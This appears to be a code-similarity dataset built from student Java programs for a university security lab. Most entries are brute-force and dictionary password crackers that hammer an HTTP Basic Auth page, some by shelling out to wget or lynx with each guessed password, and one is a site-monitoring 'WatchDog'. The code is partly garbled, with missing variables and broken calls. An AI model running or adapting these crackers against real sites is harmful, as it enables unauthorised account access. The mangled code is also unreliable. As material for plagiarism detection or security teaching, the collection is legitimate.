(!interruptd) { curconn++; for (idx=0;idx<MAXCONN;idx++) if (!connused[idx]) { connused[idx] = true; break; } notifyAll(); } return idx; } public synchronized void decreaseConn(int idx) { curconn--; connused[idx] = false; notifyAll(); } public class ThCrack extends Thread { public ThCrack(int threadID, int startidx, int endidx) { super(" Thread #"+String.valueOf(threadID)+": "); this.ID = threadID; this.startidx = startidx; this.endidx = endidx; setDaemon(true); } public boolean launchRequest(String ID, int connID,String thePass) throws IOException, InterruptedException { int i ; String msg; URL tryURL = new URL(THEURL); connections[connID]=(HttpURLConnection) tryURL.openConnection(); connections[connID].setRequestProperty("Authorization"," "+Base64Encode(USERNAME+":"+thePass)); i = connections[connID].getResponseCode(); msg = connections[connID].getResponseMessage(); connections[connID].disconnect(); if (i==HttpURLConnection.HTTP_OK) { System.out.println(ID+"Trying '"+thePass+"' GOTCHA !!! (= "+String.valueOf()+"-"+msg+")."); setSuccess(this.ID,thePass); return (true); } else { System.out.println(ID+"Trying '"+thePass+"' FAILED (= "+String.valueOf()+"-"+msg+")."); return (false); } } public void rest(int msec) { try { sleep(msec); } catch (InterruptedException e) {} } public String constructPassword( int idx) { int i = idxLimit.length-2; boolean processed = false; String result = ""; while (i>=0) { if (idx>=idxLimit[i]) { int nchar = i + 1; idx-=idxLimit[i]; for (int j=0;j<nchar;j++) { x = (idx % NCHAR); result = charset.charAt((int) x) + result; idx /= NCHAR; } break; } i--; } return result; } public String getStartStr() { return constructPassword(this.startidx); } public String getEndStr() { return constructPassword(this.endidx); } public void run() { i = startidx; boolean keeprunning = true; while ((!isSuccess()) && (i<=endidx) && (keeprunning)) { int idx = waitUntilOK2Connect(); if (idx==-1) { break; } try { launchRequest(getName(), idx, constructPassword(i)); decreaseConn(idx); localattempt++; rest(MAXCONN); i++; } catch (InterruptedException e) { keeprunning = false; break; } catch (IOException e) { decreaseConn(idx); } } if (success==this.ID) { waitUntilAllTerminated(); } } public int getLocalAttempt() { return localattempt; } private int startidx,endidx; private int ID; private int localattempt = 0; } public void printProgramHeader(String mode,int nThread) { System.out.println(); System.out.println(" ********************* [ BRUTE-FORCE CRACKING SYSTEM ] *********************"); System.out.println(); System.out.println(" URL : "+THEURL); System.out.println(" Crack Mode : "+mode); System.out.println(" Characters : "+charset); System.out.println(" . Char : "+MINCHAR); System.out.println(" . Char : "+MAXCHAR); System.out.println(" # of Thread : "+nThread); System.out.println(" Connections : "+MAXCONN); System.out.println(" All Combi. : "+ALLCOMBI); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } public void startNaiveCracking() { MAXTHREAD = 1; MAXCONN = 1; startDistCracking(); } public void startDistCracking() { int startidx,endidx; int thcount; if (isenhanced) { printProgramHeader("ENHANCED BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD); } else { printProgramHeader("NAIVE BRUTE-FORCE CRACKING ALGORITHM",MAXTHREAD); } i = System.currentTimeMillis(); idxstart = idxLimit[MINCHAR-1]; if (MAXTHREAD>ALLCOMBI - idxstart) { MAXTHREAD = (int) (ALLCOMBI-idxstart); } mult = (ALLCOMBI - idxstart) / MAXTHREAD; for (thcount=0;thcount<MAXTHREAD-1;thcount++) { startidx = thcount*mult + idxstart; endidx = (thcount+1)*mult-1 + idxstart; threads[thcount] = new ThCrack(thcount, startidx, endidx); System.out.println(threads[thcount].getName()+" try crack from '"+threads[thcount].getStartStr()+"' '"+threads[thcount].getEndStr()+"'"); } startidx = (MAXTHREAD-1)*mult + idxstart; endidx = ALLCOMBI-1; threads[MAXTHREAD-1] = new ThCrack(MAXTHREAD-1, startidx, endidx); System.out.println(threads[MAXTHREAD-1].getName()+" try crack from '"+threads[MAXTHREAD-1].getStartStr()+"' '"+threads[MAXTHREAD-1].getEndStr()+"'"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); for (int i=0;i<MAXTHREAD;i++) threads[i].print(); } public BruteForce() { if (isenhanced) { startDistCracking(); } else { startNaiveCracking(); } reportTimer = new java.util.Timer(); MyTT tt = new MyTT(); reportTimer.schedule(tt,1000,1000); while ((success==-1) && (attempt<ALLCOMBI)) { try { Thread.sleep(100); getAccumulatedLocalAttempt(); } catch (InterruptedException e) { } } if (success==-1) { end = System.currentTimeMillis(); } getAccumulatedLocalAttempt(); double ovAps = tt.getOverallAttemptPerSec(); DecimalFormat fmt = new DecimalFormat(); fmt.applyPattern("0.00"); reportTimer.cancel(); try { Thread.sleep(1000); } catch (InterruptedException e) { } synchronized (this) { if (success>=0) { System.out.println(); System.out.println(" ********************* [ URL SUCCESSFULLY CRACKED !! ] *********************"); System.out.println(); System.out.println(" The password is : "+passw); System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations"); System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%"); System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec"); System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds"); System.out.println(" Worstcase time estd : "+fmt.format(1/ovAps*ALLCOMBI)+ " seconds"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } else { System.out.println(); System.out.println(" ********************* [ UNABLE CRACK THE URL !!! ] *********************"); System.out.println(); System.out.println(" Number of attempts : "+attempt+" of "+ALLCOMBI+" total combinations"); System.out.println(" Attempt position : "+fmt.format((double)attempt/(double)ALLCOMBI*100)+"%"); System.out.println(" Overal attempt rate : "+fmt.format(ovAps)+ " attempts/sec"); System.out.println(" Cracking time : "+String.valueOf(((double)end-(double)d)/1000) + " seconds"); System.out.println(); System.out.println(" ***************************************************************************"); System.out.println(); } } } public static void printSyntax() { System.out.println(); System.out.println("Syntax : BruteForce [mode] [URL] [charset] [] [] [username]"); System.out.println(); System.out.println(" mode : (opt) 0 - NAIVE Brute force mode"); System.out.println(" (trying from the first the last combinations)"); System.out.println(" 1 - ENHANCED Brute force mode"); System.out.println(" (dividing cracking jobs multiple threads) (default)"); System.out.println(" URL : (opt) the URL crack "); System.out.println(" (default : http://sec-crack.cs.rmit.edu./SEC/2/index.php)"); System.out.println(" charset : (optional) the character set used crack."); System.out.println(" - (default)"); System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"); System.out.println(" -alphanum "); System.out.println(" abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"); System.out.println(" -alphalow "); System.out.println(" abcdefghijklmnopqrstuvwxyz"); System.out.println(" -alphaup "); System.out.println(" ABCDEFGHIJKLMNOPQRSTUVWXYZ"); System.out.println(" -number "); System.out.println(" 1234567890"); System.out.println(" [custom] e.g. aAbB123"); System.out.println(" , : (optional) range of characters applied in the cracking"); System.out.println(" where 1 <= <= 10 (default = 1)"); System.out.println(" <= <= 10 (default = 3)"); System.out.println(" username : (optional) the username that is used crack"); System.out.println(); System.out.println(" NOTE: The optional parameters 'charset','','', and 'username'"); System.out.println(" have specified altogether none at all."); System.out.println(" For example, if [charset] is specified, then [], [], and"); System.out.println(" [username] have specified as well. If none of them specified,"); System.out.println(" default values used."); System.out.println(); System.out.println(" Example of invocation :"); System.out.println(" java BruteForce "); System.out.println(" java BruteForce 0"); System.out.println(" java BruteForce 1 http://localhost/tryme.php"); System.out.println(" java BruteForce 0 http://localhost/tryme.php - 1 3 "); System.out.println(" java BruteForce 1 http://localhost/tryme.php aAbBcC 1 10 "); System.out.println(); System.out.println(); } public static void countIdxLimit() { idxLimit = new int[MAXCHAR+1]; NCHAR = charset.length(); ALLCOMBI = 0; for (int i=0;i<=MAXCHAR;i++) { if (i==0) { idxLimit[i] = 0; } else { idxLimit[i] = idxLimit[i-1] + Math.pow(NCHAR,i); } } ALLCOMBI = idxLimit[idxLimit.length-1]; } public static void paramCheck(String[] args) { int argc = args.length; try { switch (Integer.valueOf(args[0]).intValue()) { case 0: { isenhanced = false; } break; case 1: { isenhanced = true; } break; default: System.out.println("Syntax error : invalid mode '"+args[0]+"'"); printSyntax(); System.exit(1); } } catch (NumberFormatException e) { System.out.println("Syntax error : invalid number '"+args[0]+"'"); printSyntax(); System.exit(1); } if (argc>1) { try { URL u = new URL(args[1]); try { HttpURLConnection conn = (HttpURLConnection) u.openConnection(); switch (conn.getResponseCode()) { case HttpURLConnection.HTTP_ACCEPTED: case HttpURLConnection.HTTP_OK: case HttpURLConnection.HTTP_NOT_AUTHORITATIVE: case HttpURLConnection.HTTP_FORBIDDEN: case HttpURLConnection.HTTP_UNAUTHORIZED: break; default: System.out.println("Unable open connection the URL '"+args[1]+"'"); System.exit(1); } } catch (IOException e) { System.out.println(e); System.exit(1); } THEURL = args[1]; } catch (MalformedURLException e) { System.out.println("Invalid URL '"+args[1]+"'"); printSyntax(); System.exit(1); } } if (argc==6) { try { MINCHAR = Integer.valueOf(args[3]).intValue(); } catch (NumberFormatException e) { System.out.println("Invalid range number value '"+args[3]+"'"); printSyntax(); System.exit(1); } try { MAXCHAR = Integer.valueOf(args[4]).intValue(); } catch (NumberFormatException e) { System.out.println("Invalid range number value '"+args[4]+"'"); printSyntax(); System.exit(1); } if ((MINCHAR<1) || (MINCHAR>10)) { System.out.println("Invalid range number value '"+args[3]+"' (must between 0 and 10)"); printSyntax(); System.exit(1); } else if (MINCHAR>MAXCHAR) { System.out.println("Invalid range number value '"+args[3]+"' (must lower than the value)"); printSyntax(); System.exit(1); } if (MAXCHAR>10) { System.out.println("Invalid range number value '"+args[4]+"' (must between value and 10)"); printSyntax(); System.exit(1); } if (args[2].toLowerCase().equals("-")) { charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; } else if (args[2].toLowerCase().equals("-alphanum")) { charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; } else if (args[2].toLowerCase().equals("-alphalow")) { charset = "abcdefghijklmnopqrstuvwxyz"; } else if (args[2].toLowerCase().equals("-alphaup")) { charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; } else if (args[2].toLowerCase().equals("-number")) { charset = "1234567890"; } else { charset = args[2]; } USERNAME = args[5]; } else if ((argc>2) && (argc<6)) { System.out.println("Please specify the [charset], [], [], and [username] altogether none at all"); printSyntax(); System.exit(1); } else if ((argc>2) && (argc>6)) { System.out.println("The number of parameters expected is not more than 6. "); System.out.println(" have specified more than 6 parameters."); printSyntax(); System.exit(1); } } public static void main (String[] args) { charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; MINCHAR = 1; MAXCHAR = 3; if (args.length==0) { args = new String[6]; args[0] = String.valueOf(1); args[1] = THEURL; args[2] = "-"; args[3] = String.valueOf(MINCHAR); args[4] = String.valueOf(MAXCHAR); args[5] = USERNAME; } paramCheck(args); countIdxLimit(); Application = new BruteForce(); } public static BruteForce Application; public static String THEURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; public static boolean isenhanced; public static String passw = ""; public static final int REPORT_INTERVAL = 10; public static int MAXTHREAD = 50; public static int MAXCONN = 50; public static int curconn = 0; public static int success = -1; public static String USERNAME = ""; public static int MINCHAR; public static int MAXCHAR; public static int ALLCOMBI; public static int start ,end; public static java.util.Timer reportTimer; public static HttpURLConnection connections[] = new HttpURLConnection[MAXCONN]; public static boolean connused[] = new boolean[MAXCONN]; public ThCrack[] threads = new ThCrack[MAXTHREAD]; public static int attempt = 0; public static int idxLimit; public static String charset; public static int NCHAR; }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
207.java
161.java
0
import java.util.*; public class Cracker { private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; private Vector v; public Cracker() { v = new Vector( 52); } public void loadLetters() { int i; for( i = 0; i < letters.length; i++) { String s = new StringBuffer().append( letters[i]).toString(); v.add( s); } } public Vector getVictor() { return ; } public void loadPairs() { int i,j; for( i = 0; i < letters.length - 1; i++) { for( j = i + 1; j < letters.length; j++) { String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString(); String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString(); v.add( s1); v.add( s2); } } for( i = 0; i < letters.length; i++) { String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString(); v.add( s3); } } public void loadTriples() { int i, j, k; for( i = 0; i < letters.length; i++) { String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString(); v.add( s4); } for( i = 0; i < letters.length - 1; i++) { for( j = i + 1; j < letters.length; j++) { String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString(); String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString(); String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString(); String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString(); String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString(); String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString(); v.add( s5); v.add( s6); v.add( s7); v.add( s8); v.add( s9); v.add( s10); } } for( i = 0; i < letters.length - 2; i++) { for( j = i + 1; j < letters.length - 1; j++) { for( k = i + 2; k < letters.length; k++) { String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString(); String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString(); String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString(); String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString(); String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString(); String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString(); v.add( s11); v.add( s12); v.add( s13); v.add( s14); v.add( s15); v.add( s16); } } } } public static void main( String[] args) { Cracker cr = new Cracker(); cr.loadLetters(); cr.loadPairs(); cr.loadTriples(); System.out.println(" far "+cr.getVictor().size()+" elements loaded"); } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
010.java
161.java
0
import java.io.*; import java.*; import java.util.StringTokenizer; public class Dictionary { public static void main(String args[]) { final String DICT_FILE = "/usr/share/lib/dict/words"; String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/"; String password; String s = null; int num_tries = 0; try { BufferedReader dict_word = new BufferedReader (new FileReader (DICT_FILE)); while((password = dict_word.readLine())!= null) { try { Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url); BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream())); BufferedReader stdError = new BufferedReader(new InputStreamReader(p.getErrorStream())); while ((s = stdInput.readLine()) != null) { System.out.println(s); } while ((s = stdError.readLine()) != null) { System.out.println(s); } try { p.waitFor(); } catch (InterruptedException g) { } num_tries++; if((p.exitValue()) == 0) { System.out.println("**********PASSWORD IS: " + password); System.out.println("**********NUMBER OF TRIES: " + num_tries); System.exit(1); } } catch (IOException e) { System.out.println("exception happened - here's what I know: "); e.printStackTrace(); System.exit(-1); } } System.out.println("DICTIONARY BRUTE FORCE UNABLE FIND PASSWORD"); System.out.println("**********Sorry, password was not found in dictionary file"); System.exit(1); } catch (FileNotFoundException exception) { System.out.println(exception); } catch (IOException exception) { System.out.println(exception); } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
054.java
161.java
0
import java.net.*; import java.io.*; import java.misc.*; import java.io.BufferedInputStream; import java.awt.*; import java.awt.event.*; public class WatchDog { public static void main (String args[]) { String url = "http://yallara.cs.rmit.edu./~"; String file1 = "test1.txt"; int flag = 0; WriteFile write = new WriteFile(url, file1, flag); new DoSleep().print(); } } class DoSleep extends Thread { public synchronized void run() { String url = "http://yallara.cs.rmit.edu./~"; String file2 = "test2.txt"; int flag = 1; int status = 0; String file1 = "test1.txt"; System.out.println("Checking........."); try { sleep(); WriteFile write = new WriteFile(url, file2, flag); status = write.getStatus(); if(status != 0) { int flag2 = 0; WriteFile write2 = new WriteFile(url, file1, flag2); } new DoSleep().print(); } catch (InterruptedException e) {} } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
155.java
161.java
0
import java.io.*; import java.net.*; public class Dictionary{ public static void main( String[] args ){ Dictionary dict= new Dictionary(); dict.create(); } public void dsf(){ String password; String auth_data; String username=""; String server_res_code; String required_server_res_code="200"; int cntr=0; try{ URL url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); URLConnection conn=null; String fileName = "/usr/share/lib/dict/words"; fileName=fileName.trim(); FileReader fr = new FileReader(fileName); BufferedReader inputfile = new BufferedReader(fr); while( (password=inputfile.readLine()) != null ){ password = password.trim(); auth_data=null; auth_data=username + ":" + password; auth_data=auth_data.trim(); auth_data=getBasicAuthData(auth_data); auth_data=auth_data.trim(); conn=url.openConnection(); conn.setDoInput (true); conn.setDoOutput(true); conn.setRequestProperty("GET", "/SEC/2/ HTTP/1.1"); conn.setRequestProperty ("Authorization", auth_data); server_res_code=conn.getHeaderField(0); server_res_code=server_res_code.substring(9,12); server_res_code.trim(); cntr++; if( server_res_code.compareTo(required_server_res_code)!=0) System.out.println(cntr + " . " + "PASSWORD SEND : " + password + " SERVER RESPONSE : " + server_res_code); else { System.out.println(cntr + " . " + "PASSWORD IS: " + password + " SERVER RESPONSE : " + server_res_code); break;} } } catch( Exception e){ System.err.println(e); } } public String getBasicAuthData (String getauthdata) { char base64Array [] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' } ; String encodedString = ""; byte bytes [] = getauthdata.getBytes (); int i = 0; int pad = 0; while (i < bytes.length) { byte b1 = bytes [i++]; byte b2; byte b3; if (i >= bytes.length) { b2 = 0; b3 = 0; pad = 2; } else { b2 = bytes [i++]; if (i >= bytes.length) { b3 = 0; pad = 1; } else b3 = bytes [i++]; } byte c1 = (byte)(b1 >> 2); byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); byte c4 = (byte)(b3 & 0x3f); encodedString += base64Array [c1]; encodedString += base64Array [c2]; switch (pad) { case 0: encodedString += base64Array [c3]; encodedString += base64Array [c4]; break; case 1: encodedString += base64Array [c3]; encodedString += "="; break; case 2: encodedString += "=="; break; } } return " " + encodedString; } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
134.java
161.java
0
import java.*; import java.io.*; import java.util.*; public class BruteForce { public static void main(String[] args) { Runtime rt = Runtime.getRuntime(); Process pr= null; char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; String pass; char temp[] = {'a','a'}; char temp1[] = {'a','a','a'}; char temp2[] = {'a'}; String f= new String(); String resp = new String(); int count=0; String success = new String(); InputStreamReader instre; BufferedReader bufread; for(int k=0;k<52;k++) { temp2[0]=chars[k]; pass = new String(temp2); count++; System.out.println("The password tried is------->"+pass+"---and attempt is=="+count); f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"; try { pr = rt.exec(f); instre = new InputStreamReader(pr.getErrorStream()); bufread = new BufferedReader(instre); resp = bufread.readLine(); while( (resp = bufread.readLine())!= null) { if(resp.equals("HTTP request sent, awaiting response... 200 OK")) { System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count); System.exit(0); } } }catch(java.io.IOException e){} } for(int j=0;j<52;j++) { for(int k=0;k<52;k++) { temp[0]=chars[j]; temp[1]=chars[k]; pass = new String(); count++; System.out.println("The password tried is------->"+pass+"---and attempt is=="+count); f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"; try { pr = rt.exec(f); instre = new InputStreamReader(pr.getErrorStream()); bufread = new BufferedReader(instre); resp = bufread.readLine(); while( (resp = bufread.readLine())!= null) { if(resp.equals("HTTP request sent, awaiting response... 200 OK")) { System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count); System.exit(0); } } }catch(java.io.IOException e){} } } for(int i=0;i<52;i++) for(int j=0;j<52;j++) for(int k=0;k<52;k++) { temp1[0]=chars[i]; temp1[1]=chars[j]; temp1[2]=chars[k]; pass = new String(temp1); count++; System.out.println("The password tried is------->"+pass+"---and attempt is=="+count); f ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/index.php"; try { pr = rt.exec(f); instre = new InputStreamReader(pr.getErrorStream()); bufread = new BufferedReader(instre); resp = bufread.readLine(); while( (resp = bufread.readLine())!= null) { if(resp.equals("HTTP request sent, awaiting response... 200 OK")) { System.out.println("Eureka!! Eureka!!! The password has been found it is:"+pass+"------ attempt:"+count); System.exit(0); } } }catch(java.io.IOException e){} } } }
import java.net.*; import java.io.*; import java.util.*; public class Dictionary { public static void main(String args[]) { int i,j,k; String pass = new String(); String UserPass = new String(); String status = new String(); String status1 = new String(); BasicAuth auth = new BasicAuth(); URLConnection connect; int start,end,diff; try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); start =System.currentTimeMillis(); BufferedReader dis = new BufferedReader(new FileReader("words")); while ((pass = dis.readLine()) != null) { UserPass= auth.encode("",pass); connect = url.openConnection(); connect.setDoInput(true); connect.setDoOutput(true); connect.setRequestProperty("Host","sec-crack.cs.rmit.edu."); connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1"); connect.setRequestProperty("Authorization"," " + UserPass); connect.connect(); status =connect.getHeaderField(0); status1 = status.substring( 9,12); if (status.equalsIgnoreCase("HTTP/1.1 200 OK")) { System.out.println("Password is " + pass); end=System.currentTimeMillis(); diff = end - start; System.out.println("Time Taken = " + (diff/1000) + " secs"); System.exit(0); } ((HttpURLConnection)connect).disconnect(); connect = null; } System.out.println(" match found"); dis.close(); dis=null; connect = null; } catch (MalformedURLException malerr) { System.err.println("Unable Open URL" + malerr); } catch (Exception ioerr) { System.err.println("Unable open file" + ioerr); } } }
171.java
161.java
0
import java.io.*; import java.net.*; import java.*; import java.util.*; public class DictionaryAttack { public static void main ( String args[]) { String function,pass,temp1; int count =0; try{ FileReader fr = new FileReader("words.txt"); BufferedReader bfread = new BufferedReader(fr); Runtime rtime = Runtime.getRuntime(); Process prs = null; while(( bf = bfread.readLine()) != null) { if( f.length() < 4 ) { System.out.println(+ " The Attack Number =====>" + count++ ); pass = f; function ="wget --http-user= --http-passwd="+pass+" http://sec-crack.cs.rmit.edu./SEC/2/"; prs = rtime.exec(function); InputStreamReader stre = new InputStreamReader(prs.getErrorStream()); BufferedReader bread = new BufferedReader(stre); while( (temp1 = bread.readLine())!= null) { System.out.println(temp1); if(temp1.equals("HTTP request sent, awaiting response... 200 OK")) { System.out.println("The password has is:"+pass); System.exit(0); } } } } fr.print(); bfread.close(); }catch(Exception e){} } }
